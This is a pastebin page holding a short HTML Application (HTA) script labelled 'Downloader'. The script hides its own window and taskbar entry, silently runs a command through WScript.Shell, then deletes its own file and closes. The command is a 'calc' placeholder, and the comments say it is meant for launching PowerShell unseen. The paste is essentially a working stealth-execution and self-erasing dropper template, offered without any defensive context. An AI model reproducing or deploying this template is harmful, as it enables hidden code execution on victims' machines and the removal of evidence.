uyt

From hyu, 11 Months ago, written in Plain Text, viewed 1 times. This paste will go to meet its maker in 1 Second.
URL https://paste.ovh/view/7b90f3a4 Embed
Download Paste or View Raw
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <HTA:APPLICATION ID="CS"
  5. APPLICATIONNAME="Downloader"
  6. WINDOWSTATE="minimize"
  7. MAXIMIZEBUTTON="no"
  8. MINIMIZEBUTTON="no"
  9. CAPTION="no"
  10. SHOWINTASKBAR="no">
  11.  
  12.  
  13. <script>
  14. //We will use Wscript.shell in order to launch PowerShell
  15. // new ActiveXObject is JScript
  16. a = new ActiveXObject('Wscript.Shell');
  17. //Our command to execute
  18. cmd = "calc";
  19. //Run the command, 0 is needed so that no PowerShell window will appear
  20. a.Run(cmd,0);
  21.  
  22. //We use this in order to get erase the HTA file after it has executed
  23. b = new ActiveXObject("Scripting.FileSystemObject");
  24. //Get filename and edit it so that windows can read it properly
  25. filename = window.location.href;
  26. filename = decodeURI(filename);
  27. filename = filename.slice(8);
  28. //Get a handle on the file
  29. c = b.GetFile(filename);
  30. //Delete it
  31. c.Delete();
  32. //Close the MSHTA window
  33. window.close();
  34. </script>
  35. </head>
  36. <body>
  37. </body>
  38. </html>

Reply to "uyt"

Here you can reply to the paste above

captcha